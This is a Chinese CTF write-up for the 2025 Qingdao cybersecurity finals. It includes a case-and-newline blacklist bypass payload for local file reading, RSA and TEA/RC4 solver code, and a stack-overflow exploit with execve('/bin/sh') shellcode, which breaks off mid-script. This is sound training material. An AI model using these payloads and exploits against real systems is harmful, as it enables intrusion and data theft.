2025青岛网络安全大赛决赛writeup(全部题解)
8月底参加了青岛市举办的网络安全大赛决赛,决赛是线下断网环境,有网络安全知识竞赛与解题夺旗赛(CTF)两大核心板块,一共两个半小时的时间,做完理论题只有不到两个小时的时间了,然后CTF题目一共8道题目,还不乏有难度稍大或者很复杂的。时间紧+任务重,这个比赛还是非常考验对网络安全知识和CTF掌握的熟练度的,作者在赛场上实在是无法完成所有题目,但是回来之后把没做出来的题目重新做了一下,终于攻克了所有题
题目附件
部分题目和DASCTF的比赛思路还是很相似的,师傅们可以练练手。
链接:https://pan.quark.cn/s/44903a187039?pwd=79es 提取码:79es
web1
考察点
签到题,简单改包
解题过程
这是个签到题,打开环境是一个植物大战僵尸的游戏,抓包分析,系统会不断往后台请求一段时间内获取的阳光值,拦截包把阳光值改成很大的数字就能赢得游戏,得到flag。
web2
考察点
代码审计,ssrf, LFI (本地文件包含/文件读取)
解题过程
打开是一个博客系统,先扫描一下目录,扫描到www.zip和admin/login.php
拼接路径admin/login.php,访问到后台——CMS内容管理系统,管理台尝试用弱密码admin/admin登录,登录成功
后台是这样的,有很多功能
一开始以为漏洞在文章管理处的文件上传处,因为www.zip中的源码是关于任意文件上传的,但是死活传不上去,分析了源码也不行。结束以后咨询了大佬,www.zip完全是个幌子,漏洞点不在这,而是在友链这个菜单里。
友链的源码eof.php如下:
<?php
$method = $_SERVER['REQUEST_METHOD'];
if ($method === 'POST') {
$url = $_POST['url'] ?? '';
$id = $_POST['id'] ?? '';
$preview = do_preview($url);
if ($preview['ok']) {
$saved = save_link($id, $url, $preview);
$preview['saved'] = $saved;
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode($preview, JSON_UNESCAPED_UNICODE);
exit;
}
// 渲染友链列表页面
$links = [];
$file = __DIR__ . '/links.json';
if (is_file($file)) {
$content = @file_get_contents($file);
$decoded = json_decode($content, true);
if (is_array($decoded)) $links = $decoded;
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>CMS 内容管理系统 - 友情链接</title>
<style>
table {border-collapse: collapse; width: 80%;}
th, td {border: 1px solid #ccc; padding: 8px;}
</style>
</head>
<body>
<h2>友情链接管理</h2>
<a href="eof.php?action=add"><button>+ 添加友链</button></a>
<br><br>
<table>
<tr><th>ID</th><th>URL</th><th>标题</th><th>描述</th><th>操作</th></tr>
<?php foreach ($links as $row): ?>
<tr>
<td><?=htmlspecialchars($row['id'])?></td>
<td><?=htmlspecialchars($row['url'])?></td>
<td><?=htmlspecialchars($row['title'] ?? '')?></td>
<td><?=htmlspecialchars($row['description'] ?? '')?></td>
<td><button>删除</button></td>
</tr>
<?php endforeach; ?>
</table>
<?php if (isset($_GET['action']) && $_GET['action'] === 'add'): ?>
<h3>添加友链</h3>
<form method="post" action="eof.php">
<label>url地址</label><br>
<input name="url" style="width:600px" placeholder="http://..."><br><br>
<label>id</label><br>
<input name="id"><br><br>
<button type="submit">提交</button>
</form>
<?php endif; ?>
</body>
</html>
<?php
// 预览逻辑
function do_preview($raw_input) {
$decoded = rawurldecode($raw_input);
$lines = preg_split("/\r\n|\n|\r/", $decoded);
$first = isset($lines[0]) ? $lines[0] : '';
$blacklist = ['file://', 'php://', 'data://', 'gopher://', 'dict://'];
foreach ($blacklist as $bad) {
if (stripos($first, $bad) !== false) {
return ['ok' => false, 'error' => 'waf'];
}
}
if ($first !== '' && !preg_match('/^https?:\/\//i', $first)) {
return ['ok' => false, 'error' => 'waf'];
}
$target = $decoded;
$opts = ['http' => ['method' => 'GET', 'header' => "User-Agent: CMSPreview/1.0\r\n"]];
$ctx = stream_context_create($opts);
$html = @file_get_contents($target, false, $ctx);
if ($html === false) {
return ['ok' => false, 'error' => 'fetch failed'];
}
$title = null;
if (preg_match('/<title[^>]*>(.*?)<\/title>/is', $html, $m)) $title = trim(html_entity_decode($m[1]));
$desc = null;
if (preg_match('/<meta\s+name=["\']description["\']\s+content=["\'](.*?)["\']/is', $html, $m)) $desc = trim(html_entity_decode($m[1]));
return [
'ok' => true,
'title' => $title,
'description' => $desc,
'raw_head' => mb_substr($html, 0, 8192)
];
}
function save_link($id, $url, $preview) {
$file = __DIR__ . '/links.json';
$existing = [];
if (is_file($file)) {
$content = @file_get_contents($file);
if ($content !== false) {
$decoded = json_decode($content, true);
if (is_array($decoded)) $existing = $decoded;
}
}
$entry = [
'id' => $id,
'url' => $url,
'title' => $preview['title'] ?? null,
'description' => $preview['description'] ?? null,
'created_at' => date('c'),
];
$existing[] = $entry;
$saved = @file_put_contents($file, json_encode($existing, JSON_UNESCAPED_UNICODE|JSON_PRETTY_PRINT));
return $saved !== false;
}
?>
服务对 url 参数做了两层不一致的检查:第一层只检查第一行并用不区分大小写的匹配,第二层对整个输入再做一次检查但用的是区分大小写的匹配。最终 file_get_contents() 使用的是整个解码后的字符串,而非仅第一行。这个不一致导致可以用换行符把危险 scheme 放到第二行并用大小写变体绕过第二层,从而触发 LFI,读取服务器本地文件(例如 /flag)。
- 观察第一轮检查只针对第一行,于是想到通过在输入前插入换行符把“真正的”危险 scheme 放到第二行(或后面),从而让 $first 为空或为无害内容,绕过第一轮检查。换行的 URL 编码为 %0A。
- 发现第二轮检测对整个输入使用 strpos($decoded, 'file://')(区分大小写),因此小写 file:// 会被拦截,但大小写不同的 FILE:// / FiLe:// 等不会被 strpos 命中。
- PHP 的流 wrapper 在解析时通常不区分大小写,所以 FILE:///path 能被 file_get_contents 识别并读取对应路径。
- 把上面两点结合:先用换行把 FILE:///flag 放到第二行,第一行为空;第一轮检查通过,第二轮大小写敏感检查也不会匹配小写 file://,最终 file_get_contents() 读取 FILE:///flag,泄露 /flag。
- 因此构造的有效 payload(URL 编码形式)为:
url=%0AFILE:///flag(解码后第一行为空行,第二行为 FILE:///flag)
密码学1
考察点
Beaufort + RSA dp 泄露 + Coppersmith
解题过程
题目
from Crypto.Util.number import *
from pycipher import Beaufort
import random
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = f"DASCTF{{{''.join(random.choices(LETTERS, k=22))}}}"
def encrypt(message):
encrypted_list = []
for index, symbol in enumerate(message):
if symbol in LETTERS:
shift = index + 1
num = LETTERS.find(symbol)
new_num = (num + shift) % len(LETTERS)
encrypted_list.append(LETTERS[new_num])
else:
encrypted_list.append(symbol)
FLAG = Beaufort('DASCTF').encipher(''.join(encrypted_list))
p=getPrime(512)
q=getPrime(512)
e=65537
n=p*q
m= bytes_to_long(bytes(FLAG.encode()))
P = pow(m,p,n)
Q = pow(m,q,n)
N=P*Q
phi_N=(P-1)*(Q-1)
d=inverse(e,phi_N)
dP=d%(P-1)
print('n = ',n)
print('N = ',N)
print('dp = ',dP)
print('e = ',e)
encrypt(flag)
'''
n = 104702786601952040496281287175905678229808002933395702689269043545596188753106468377505189561248106591619246417415224497732533616730953847769207880104971848787921213036914284384554779409395957566569479741531474208984706585301077147927190909701097090533639168856366077605152789931161393572004612539543939767531
N = 989325933059392965697165753545894253778774940139617537088288251103469131576528649637634674246763801683834814438368496729713290755213652728625767000604200412668893368389753513917868959213679941788588243512499502797081031345024096250680814356208163992097678096732974138753612625694712543775619571812401720056332232276425980320598431424441415595509621093408144168462344789640080397576785928613112760798108044038752927862793933887057301176099895741365831698103291843436064737325414312611286036487896725729451219154106909118149348729924731995081435716715897363644001453128415783185607138582550370513204855738327375712720
dp = 10363819547100619885367329685943510922609942479217756976731998436210233483442256449480663021343951745352882338175765690245795680439974913565714524107094384110057237969953216904924499477692954714729835714839501991337552677888512232236109040370824804835413391385339053627472335098039195758764112464971206966223
e = 65537
'''加密流程
- 明文格式:DASCTF{22 个大写字母}。
- 位置移位:遍历明文字符串的每个字符(index 从 0 开始),若为大写字母则向右移 index+1(模 26),其它字符保持不变。
- Beaufort 加密:把上一步结果用 Beaufort 密钥 "DASCTF" 再加密(Beaufort 是 self-inverse)。得到 FLAG_string。
- 转成整数:m = bytes_to_long(FLAG_string.encode())。
- 生成原始 RSA:p,q 各 512-bit,n = p*q。
- 构造幂并输出:P = m^p mod n,Q = m^q mod n,N = P*Q,并泄露 dp = d % (P-1)(其中 d 是对 phi_N=(P-1)*(Q-1) 的逆),以及 n, N, dp, e 等值。
解密思路
- 题目泄露了关于 N 的 dp,利用 e*dp - 1 = k*(P-1) 可枚举 k 求出 P 和 Q 。
- 关键关系:根据费马小定理 ,在模 p 上 m^p ≡ m (mod p) —— 因此 P ≡ m (mod p);同理 Q ≡ m (mod q)。
- 构造多项式 f(x) = x^2 - (P+Q)x + P*Q = (x-P)(x-Q),有 f(m) ≡ 0 (mod n)。
- 若 m 足够小(满足 m < n^{1/2}),Coppersmith(小根)可在模 n 下找出 m(Sage 的 f.small_roots() 实现)。
恢复路径(简要):
- 利用 N, dp, e 枚举 k 恢复出 P,Q。
- 构造 f(x) 并用 Coppersmith 找出 m。
- m -> bytes -> FLAG_string,对其做 Beaufort 解密再按位置左移(index+1)恢复原始 FLAG。如果 FLAG_string 在 m 的字节里丢失 {},注意按题目格式补回(DASCTF{22 letters})再执行逆变换。
解密过程
第一步: 利用 dp 泄露恢复 P、Q
原理:dp = d mod (P-1),且 d * e ≡ 1 mod φ(N),其中 φ(N) = (P-1)*(Q-1)。因此,dp * e ≡ 1 mod (P-1),即 dp * e - 1是 P-1的倍数。枚举 k(从 1 到 100000),当 dp * e - 1可被 k整除时,候选 P = (dp * e - 1) // k + 1。如果 P能整除 N,则找到 P和 Q = N // P。
SageMath 代码:
N = 989325933059392965697165753545894253778774940139617537088288251103469131576528649637634674246763801683834814438368496729713290755213652728625767000604200412668893368389753513917868959213679941788588243512499502797081031345024096250680814356208163992097678096732974138753612625694712543775619571812401720056332232276425980320598431424441415595509621093408144168462344789640080397576785928613112760798108044038752927862793933887057301176099895741365831698103291843436064737325414312611286036487896725729451219154106909118149348729924731995081435716715897363644001453128415783185607138582550370513204855738327375712720
e = 65537
dp = 10363819547100619885367329685943510922609942479217756976731998436210233483442256449480663021343951745352882338175765690245795680439974913565714524107094384110057237969953216904924499477692954714729835714839501991337552677888512232236109040370824804835413391385339053627472335098039195758764112464971206966223
# 计算 dp*e - 1
temp = dp * e - 1
# 枚举 k(从 1 到 100000)
found = False
for k in range(1, 100000):
if temp % k == 0:
P_candidate = temp // k + 1
if N % P_candidate == 0:
P = P_candidate
Q = N // P
print("Found P and Q:")
print("P =", P)
print("Q =", Q)
found = True
break
if not found:
print("Failed to find P and Q. Adjust the range of k.")运行得到P和Q:
P = 13332292504825465215964641979147705865837428604583259181157816891037590966814312708403458875842939749439431736127689783916747698674936419871552316545424372390240871623060633551831130086751657142786323353487809245387951513412099836373694733119692712425134702742584464767566089416433305966083494722088879987151
Q = 74205237598958931693180135463297625392945953762758367696769521545790755741885445110121871341162118327879660505999223010644864540203512687524858098314287437193453623500974247157037944883535566094318272284872988580356072706886684515974528232895388232324933818353430851462577656611907192182348881359100162364720第二步:利用Coppersmith还原m
原理:
题目中有以下关系:
- 原始 n = p*q(p,q 是原始 512-bit 素数)。
- 定义 P ≡ m^p (mod n) 与 Q ≡ m^q (mod n)。
- 由 Fermat(或 Little Fermat)在模 p 上:对任意 m,有 m^p ≡ m (mod p);同理在模 q 上:m^q ≡ m (mod q)。
- 因此 P ≡ m (mod p)(因为 P ≡ m^p ≡ m (mod p))。
- 同理 Q ≡ m (mod q)。
考虑多项式
代入 x = m,得到
由上述同余关系可知:
- 模 p:m ≡ P (mod p) ⇒ p | (m-P) ⇒ p | f(m).
- 模 q:m ≡ Q (mod q) ⇒ q | (m-Q) ⇒ q | f(m).
因此 p*q = n 同时整除 f(m),也就是
所以 m 是 f(x) 在模 n 下的根。
SageMath 代码:
n = Integer(104702786601952040496281287175905678229808002933395702689269043545596188753106468377505189561248106591619246417415224497732533616730953847769207880104971848787921213036914284384554779409395957566569479741531474208984706585301077147927190909701097090533639168856366077605152789931161393572004612539543939767531)
P = Integer(13332292504825465215964641979147705865837428604583259181157816891037590966814312708403458875842939749439431736127689783916747698674936419871552316545424372390240871623060633551831130086751657142786323353487809245387951513412099836373694733119692712425134702742584464767566089416433305966083494722088879987151)
Q = Integer(74205237598958931693180135463297625392945953762758367696769521545790755741885445110121871341162118327879660505999223010644864540203512687524858098314287437193453623500974247157037944883535566094318272284872988580356072706886684515974528232895388232324933818353430851462577656611907192182348881359100162364720)
R.<x> = Zmod(n)[]
f = x^2 - (P+Q)*x + P*Q
roots = f.small_roots()
print(roots)运行得到m的值:
m = 9514860685343171719824272395943916064996685001330076556049297136212第三步: 解密 Beaufort 密码和自定义移位加密
原理:Beaufort 加密和解密使用相同的算法(密钥为 "DASCTF")。自定义移位加密是每个字符根据位置(index+1)进行移位,解密时反向操作(减去移位值)。
python 代码:
from Crypto.Util.number import long_to_bytes
LETTERS = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
KEY = 'DASCTF'
def beaufort_encipher_manual(text,key=KEY):
res=[]
ki=0
for ch in text:
if ch in LETTERS:
kch=key[ki%len(key)]
val=(LETTERS.index(kch)-LETTERS.index(ch))%26
res.append(LETTERS[val])
ki+=1
else:
res.append(ch)
return ''.join(res)
def beaufort_decipher_manual(text,key=KEY):
return beaufort_encipher_manual(text,key)
m = 9514860685343171719824272395943916064996685001330076556049297136212
flag_string = long_to_bytes(m).decode()
if len(flag_string)==28:
flag_string = flag_string[:6]+'{'+flag_string[6:]+'}'
shifted = beaufort_decipher_manual(flag_string,KEY)
recovered=[]
for i,ch in enumerate(shifted):
if ch in LETTERS:
orig=LETTERS[(LETTERS.index(ch)-(i+1))%26]
else:
orig=ch
recovered.append(orig)
print('FLAG_string:',flag_string)
print('shifted:',shifted)
print('recovered:',''.join(recovered))
运行得到flag:DASCTF{OVVCMCWIEUVYDSJRHDQPRG}
密码学2
考察点
小指数攻击 + CRT + 多轮加密回溯 + 有限域求根
解题过程
题目
#已知加密算法以及 N、e、c
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import *
from secret import FLAG
m = bytes_to_long(FLAG)
e = 19
def get_prime(bit_len, e):
while True:
x = getPrime(bit_len)
if (x - 1) % e ** 2 == 0:
return x, next_prime(x)
def encrypt(m):
bit_len = (m.bit_length() // 2) + 8
p, q = get_prime(bit_len, e)
N = p * q
C = pow(m, e, N)
print(f"N = {N}")
return C
m = encrypt(m)
for _ in range(25):
m = encrypt(m)
print(f"e = {e}")
print(f"C = {m}")
'''
N = 71892483948800928647048227994307962048014948971665170797146967848514272259095649774125409369463558912239206111
N = 2163540453646299356101654208770365930996856426114657903331079811870307275918876912583142873658594761276203468263321
N = 28257870651864058416028457674079000907234259163603228635517464483400754473932055750721314176307059920873013369935044113
N = 441911442331421906498947304401195173244850778946540797565741016838061781323804003727562292162717342712638619164408882184173
N = 3104129768426732427442115186406946281228954669243545748873651971873487652736300206253955768833760885887934024087845690632468073
N = 44216018641702537625109739031940647734148105093848066690107051442086381560134802037285895030870735901124124481865297265218220162081
N = 1226570753797044797106141137288744382148202740589666538143281862131708704021446984387994594491695076215099957541342967023393965724233729
N = 9281422011798083918111818944101257879527253634018978715405107193769584315682399670996178522939369192143548583308822001933451115612724542903
N = 171650384223414944304444258118036395950587178780236438990023779575964370362653252234002779762540167158178266678708466330862310198872467815744403
N = 704970231124335690710206416793864373436262090824129161703019470787086248452812548253815843312386153996991066088404184134727858538485375488720610271
N = 35860664459922682503417553156064326922203545895378559924738063247979748368427288275287054110518270997788623743181686588914533729653468915999570659596839
N = 276496588775991858041281566166508527297836308926485662860380316066916579831680483392934848625191428839329503485947569831070260864018506808150354661335010271
N = 2273384518343370473559257167839499002238098112247789297260783861597096648950651586233840998122686828270601311301724369688634343400327967069266044975939511895903
N = 47921256486252916493935812822661238013931601068274676362312667579261561436615610885062327109891419913069558869984671901942784819495065210498213939700304380799367847
N = 647739063083151406409793930816817063928597007309939419195122395148841132872225785256600409695705411672497787699071534375278886501651408525722721767537654749686007072691
N = 3258001205479248556668602525168650705228427640534437041531928374421489336666668406839426697109062443220408783691805516644260236821999481170384013226819610586344664147768951
N = 18962798206505727339055648793049870205059823901797899639244080205541439035270859272161850631158910672720974492220094409627972057249960859053143999998789897955937842130291761847
N = 32660880823993261858858133001183895870681249509166877281180792986501421531852991279832589332410665205856400961588920978517525108946154595567922541470036346396495818630559293823613
N = 103607764123521598032672464268628965591592799829231327506584448222401867932302534323448596740104378348610561706517855941868717662443312319730857109819275405731716327606604328124500429
N = 1790158199980151539784939978833750614427159638906378789418028600456526228559029225157547598866750918384601463640066369370482123439715680314562056747150532089889681566229936859021975146077
N = 8216166181278428415467927152019176304756353636620363683927468646580536315870548543624768165216616022284386701790782030927119553868286894285741310496515682156219214034080294003613081323224153
N = 28535161235203171885446561496077102858772394548941728263323619160039643187569363994170326704940454869483941916711263247483907946453847610293522412294115143730683969000452100458134891482859788451
N = 114177069101858175726825705952369523596565129443767094603923040512881541211554515249272600136135867609583165164527372596902482053940317806544249973472568501619215896983263222661686500151650403932963
N = 1240261090748883585959006287096209853469922690552311275093274820499625864236986338419401077231283909002235336858650897382774443288119960979857595268153259750715364690208453383617566785857266340716304203
N = 40184485263471707341151767062077980470569882999036881714738950628495742326918553935208420546643862827637989866864682291171346410017611216401420248932427501550577942510039135349650804708338000703446346412377
N = 936080622809616360998370111188048327395337133096126618076549925898441725217909504260897818444817308620992649745694203072552624277731470921286239479319844685331738580958708498437135799469054308566645983020585869
e = 19
C = 23163210362640131927825996860199611632429545555196317996654665059441954752723401563890711100907877549268921040862811737049443691251237249448482647760281798251035552470032313859801526303184225661004011027520989
'''加密流程
- 将 FLAG 转为整数 m = bytes_to_long(FLAG)
- 根据明文长度计算 bit_len,生成两个质数 p, q,要求 (p-1) % e^2 == 0,并且 q 为 p 的下一个质数。
- 构造 N = p * q
- 计算密文 C = m^e mod N
- 将输出密文作为下一轮明文,重复 25 次
解密思路
题目给出的质数生成方式存在规律:
- p 是满足 (p-1) % e^2 == 0 的质数
- q 是 p 的下一个质数
因此每个 N 的 p、q 可通过“平方根附近搜索”的方法恢复(N ≈ p*q ≈ (sqrt(N))^2)。
因为加密指数 e 很小(19),可以使用 有限域上多项式求根 的方式对每个 N 分别尝试找到原文。
总体思路:
- 读取所有 N、C、e
- 从最后一轮开始,依次向前回推每轮明文
- 对每个 N 分别枚举可能的 p, q
- 在 GF(p), GF(q) 上解方程 x^e ≡ C mod p/q
- 用中国剩余定理(CRT)组合 p、q 的解
- 保留符合 bit length 的候选,迭代至最初的明文
解密过程
sage脚本如下:
from sage.all import *
def fsp(N):
s = isqrt(N)+1
q = next_prime(s)
p = previous_prime(q)
if p*q != N:
q = next_prime(s+1)
p = previous_prime(q)
return int(p), int(q)
def eroot(y, p, e):
F = GF(p)
R.<x> = PolynomialRing(F)
return [int(r[0]) for r in (x^e - F(y)).roots()]
def alens(p):
L = int(p).bit_length()
return {2*(L-8), 2*(L-8)+1}
def itob(n):
n = int(n)
return n.to_bytes((n.bit_length()+7)//8, 'big') if n else b"\x00"
N = [
71892483948800928647048227994307962048014948971665170797146967848514272259095649774125409369463558912239206111,
2163540453646299356101654208770365930996856426114657903331079811870307275918876912583142873658594761276203468263321,
28257870651864058416028457674079000907234259163603228635517464483400754473932055750721314176307059920873013369935044113,
441911442331421906498947304401195173244850778946540797565741016838061781323804003727562292162717342712638619164408882184173,
3104129768426732427442115186406946281228954669243545748873651971873487652736300206253955768833760885887934024087845690632468073,
44216018641702537625109739031940647734148105093848066690107051442086381560134802037285895030870735901124124481865297265218220162081,
1226570753797044797106141137288744382148202740589666538143281862131708704021446984387994594491695076215099957541342967023393965724233729,
9281422011798083918111818944101257879527253634018978715405107193769584315682399670996178522939369192143548583308822001933451115612724542903,
171650384223414944304444258118036395950587178780236438990023779575964370362653252234002779762540167158178266678708466330862310198872467815744403,
704970231124335690710206416793864373436262090824129161703019470787086248452812548253815843312386153996991066088404184134727858538485375488720610271,
35860664459922682503417553156064326922203545895378559924738063247979748368427288275287054110518270997788623743181686588914533729653468915999570659596839,
276496588775991858041281566166508527297836308926485662860380316066916579831680483392934848625191428839329503485947569831070260864018506808150354661335010271,
2273384518343370473559257167839499002238098112247789297260783861597096648950651586233840998122686828270601311301724369688634343400327967069266044975939511895903,
47921256486252916493935812822661238013931601068274676362312667579261561436615610885062327109891419913069558869984671901942784819495065210498213939700304380799367847,
647739063083151406409793930816817063928597007309939419195122395148841132872225785256600409695705411672497787699071534375278886501651408525722721767537654749686007072691,
3258001205479248556668602525168650705228427640534437041531928374421489336666668406839426697109062443220408783691805516644260236821999481170384013226819610586344664147768951,
18962798206505727339055648793049870205059823901797899639244080205541439035270859272161850631158910672720974492220094409627972057249960859053143999998789897955937842130291761847,
32660880823993261858858133001183895870681249509166877281180792986501421531852991279832589332410665205856400961588920978517525108946154595567922541470036346396495818630559293823613,
103607764123521598032672464268628965591592799829231327506584448222401867932302534323448596740104378348610561706517855941868717662443312319730857109819275405731716327606604328124500429,
1790158199980151539784939978833750614427159638906378789418028600456526228559029225157547598866750918384601463640066369370482123439715680314562056747150532089889681566229936859021975146077,
8216166181278428415467927152019176304756353636620363683927468646580536315870548543624768165216616022284386701790782030927119553868286894285741310496515682156219214034080294003613081323224153,
28535161235203171885446561496077102858772394548941728263323619160039643187569363994170326704940454869483941916711263247483907946453847610293522412294115143730683969000452100458134891482859788451,
114177069101858175726825705952369523596565129443767094603923040512881541211554515249272600136135867609583165164527372596902482053940317806544249973472568501619215896983263222661686500151650403932963,
1240261090748883585959006287096209853469922690552311275093274820499625864236986338419401077231283909002235336858650897382774443288119960979857595268153259750715364690208453383617566785857266340716304203,
40184485263471707341151767062077980470569882999036881714738950628495742326918553935208420546643862827637989866864682291171346410017611216401420248932427501550577942510039135349650804708338000703446346412377,
936080622809616360998370111188048327395337133096126618076549925898441725217909504260897818444817308620992649745694203072552624277731470921286239479319844685331738580958708498437135799469054308566645983020585869
]
e = 19
C = 23163210362640131927825996860199611632429545555196317996654665059441954752723401563890711100907877549268921040862811737049443691251237249448482647760281798251035552470032313859801526303184225661004011027520989
c = {C}
for i in range(len(N)-1, -1, -1):
p, q = fsp(N[i])
bl = alens(p)
nc = set()
for x in c:
for rp in eroot(x, p, e):
for rq in eroot(x, q, e):
y = crt([rp, rq], [p, q])
if int(y).bit_length() in bl:
nc.add(int(y))
c = nc
print(f"[{i+1}] {len(c)}")
for m in sorted(c):
print("Result:", itob(m).decode(errors="ignore"))
运行得到flag:DASCTF{903c2394-feaa-4a22-9c4c-1f448f789849}
misc1
考察点
简单隐写
解题过程
解开压缩包是一张图片
用010打开,发现头部有一段hex字符串
解密即可得到flag
misc2
考察点
steghide隐写+逆向分析+异或
解题过程
解压后发现一张图片
先用010打开,在结尾找到一串base64字符串
解码得到一串二进制数字:
MTEwMDExMTAxMTEwMDEwMTAwMDExMDExMTEwMTAwMDAxMDAwMTAxMTAwMTAxMDExMDExMDAwMTAwMTEwMDExMA==
解码后:
1100111011100101000110111101000010001011001010110110001001100110在属性备注里发现一个字符串jzxcvb123
再结合题目的提示:你的人生需要翻转,斯蒂格德会帮助你的。推测图片存在steghide隐写,备注中的字符串jzxcvb123是隐写的密钥
尝试解密:steghide.exe extract -sf x.jpeg
得到test.zip,其中有两个加密文件
用破解伪加密的工具跑一下,发现test文件是伪加密
test文件是个elf文件
用IDA打开分析,分析main函数,核心处理逻辑是在用一个 64 字节长的循环密钥a10000110101000[i % 64],对输入数字做逐位异或加密。
我们找到这个密钥为1000011010100000010101111001110011100100000110100101000001010101
恰巧上面我们在图片尾也发现了64位01字符串的base64编码,我们将这两串字符串异或就能得到字符串:HELLo123
用它解密压缩包test.zip即可得到flag.txt:
RE
考察点
themida壳+花指令+魔改 RC4+魔改 TEA
解题过程
先查下壳,发现使用了 Themida/WinLicense 壳
这个壳没见过,线下比赛没有准备相关的脱壳工具的话是肯定做不出来的,比赛结束回来搜了下脱壳工具是unlicense,下载地址:https://github.com/ergrelet/unlicense/releases
脱壳后用IDA打开,可以看到main函数附近存在花指令:
我们手动NOP掉:
这样main函数就出来了:
伪代码逻辑总结
- 程序保存了一段目标字节序列 v4(密文)。
- 读取用户输入 v7。
- 把输入 v7 经过函数 loc_421290 和逐字节处理函数 loc_4213C0 得到 v8。
- 将 v8 与 v4 逐字节比较。
- 如果一致 → 打印 Congratulation;否则 → 打印 Wrong。
v4 = 密文,loc_421290 和 loc_4213C0 = 输入处理/加密算法,需要逆向分析这两个函数,才能知道用户需要输入什么字符串 v7 才能让 v8 == v4。
将v4转为hex得到密文:
50 D4 C8 C4 8F 84 40 EB 32 81 8F 85 6C B2 2B 06 BF 05 35 5D 2E E3 7D 46 8D 35 01 70 3A 80 81 C5 E6 71 D3 D6 50 69 6F E2 6E 78 14 D8跳转loc_421290,发现还有花指令,继续NOP掉:
loc_421290 是一个 RC4 风格的流密钥生成 + 对明文字节做按字节变换 的函数:它用一个 256 字节的状态数组 byte_4243B0(通过 loc_4210C0 初始化)产生一个字节流 K_i = S[(S[j] + S[i])],然后把每个明文字节 a1[i] 变成 output[i] = a1[i] + (K_i ^ 0x33)(按 8 位溢出)。同时函数返回值是处理的字节数(近似为输入长度)。
我们跟进loc_4210C0,也有花指令,NOP掉后看到源码:
这里看到了RC4的密钥:"thOs_IO_ke9"。
loc_4213C0也做相同去花指令处理:
loc_4213C0 对传入的 8 字节数据块(两个 32-bit)用固定 128-bit key 执行 33 轮 TEA 风格的迭代加/异或/位移混淆,并写回原位置,实现可逆的块加密。TEA密钥为:
v2[0] = 1855465527; // 0x6E982837
v2[1] = 1144201745; // 0x44332211
v2[2] = 287454020; // 0x11223344
v2[3] = 925407342; // 0x3728986E
TEA 的 128-bit key:0x6E982837, 0x44332211, 0x11223344, 0x3728986E。按正确的顺序(先 TEA 后 RC4)对密文进行解密,得到原始 flag。
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <Windows.h>
unsigned char rc4_table[256];
void swap_bytes(unsigned char* a, unsigned char* b) {
unsigned char tmp = *a;
*a = *b;
*b = tmp;
}
// RC4 KSA初始化
void init_rc4_table() {
char key_str[] = "th0s_i0_ke9";
for (int i = 0; i < 256; i++)
rc4_table[i] = i;
int key_len = strlen(key_str);
unsigned char temp[256];
for (int i = 0; i < 256; i++)
temp[i] = key_str[i % key_len];
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + rc4_table[i] + temp[i]) & 0xFF;
swap_bytes(&rc4_table[i], &rc4_table[j]);
}
}
// RC4 + 偏移反向解密
void rc4_decrypt(unsigned char input[], unsigned char output[], unsigned int length) {
init_rc4_table();
unsigned char i = 0, j = 0, k, idx;
for (unsigned int h = 0; h < length; h++) {
i = (i + 1) & 0xFF;
j = (j + rc4_table[i]) & 0xFF;
swap_bytes(&rc4_table[i], &rc4_table[j]);
idx = (rc4_table[i] + rc4_table[j]) & 0xFF;
k = rc4_table[idx] ^ 0x33;
output[h] = input[h] - k;
}
}
// TEA 逆运算
void tea_reverse(uint32_t v[2]) {
uint32_t key[4] = {0x6E982837, 0x44332211, 0x11223344, 0x3728986E};
uint32_t v0 = v[0], v1 = v[1];
uint32_t sum = 0xCB9E3951;
const uint32_t delta = 0x9E3779B8;
for (int round = 0; round <= 32; round++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 5) ^ (v1 >> 6)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;
v[1] = v1;
}
int main() {
unsigned char decrypted[44];
unsigned char cipher[44] = {
0x50, 0xD4, 0xC8, 0xC4, 0x8F, 0x84, 0x40, 0xEB, 0x32, 0x81,
0x8F, 0x85, 0x6C, 0xB2, 0x2B, 0x06, 0xBF, 0x05, 0x35, 0x5D,
0x2E, 0xE3, 0x7D, 0x46, 0x8D, 0x35, 0x01, 0x70, 0x3A, 0x80,
0x81, 0xC5, 0xE6, 0x71, 0xD3, 0xD6, 0x50, 0x69, 0x6F, 0xE2,
0x6E, 0x78, 0x14, 0xD8
};
// 逆 TEA(重叠窗口)
for (int offset = 36; offset >= 0; offset--) {
tea_reverse((uint32_t*) &cipher[offset]);
}
// RC4 逆运算
rc4_decrypt(cipher, decrypted, 44);
printf("Decrypted flag: ");
for (int i = 0; i < 44; i++) {
printf("%c", decrypted[i]);
}
printf("\n");
return 0;
}PWN
考察点
栈溢出+shellcode
解题过程
没做什么保护,栈可执行(NX disabled),可直接在栈上执行 shellcode,固定地址(No PIE)和没有 Canary,利于构造直接的 shellcode 利用。
IDA分析一下PWN文件,看一下主函数:
int vuln()
{
char s[24]; // [esp+8h] [ebp-20h] BYREF
puts("\nwelcome to amusement park");
puts("\nbefore u come in it , what do u want to tell me?");
fflush(stdout);
fgets(s, 50, stdin);
puts("Okay, have a nice day :-)");
fflush(stdout);
return 1;
}s 是一个 24 字节 的栈缓冲区(char s[24]),但是 fgets 被错误地写成 fgets(s, 50, stdin) —— fgets 最多会读 size-1(即 49) 字节并在末尾写 �,显然远超 24 字节,会发生栈溢出。
利用思路(shellcode-on-stack 方法):
- 构造 i386 execve("/bin/sh") shellcode(长度约 24-28 字节)。
- 把 shellcode 放在输入开头。
- 用 � 填充至 36 字节。
- 覆盖 return address 为程序中 jmp esp 的地址。
- 在被覆盖的返回地址后面放一段短的 stub(例如 sub esp,40; call esp),目的是把 esp 向下调整到 shellcode 开头并 call 进入。
- 送出 payload,获得 shell。
#!/usr/bin/env python3
from pwn import *
context.arch = "i386"
context.log_level = "debug"
elf = ELF("./pwn")
p = elf.process()
shellcode = asm(
'''
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
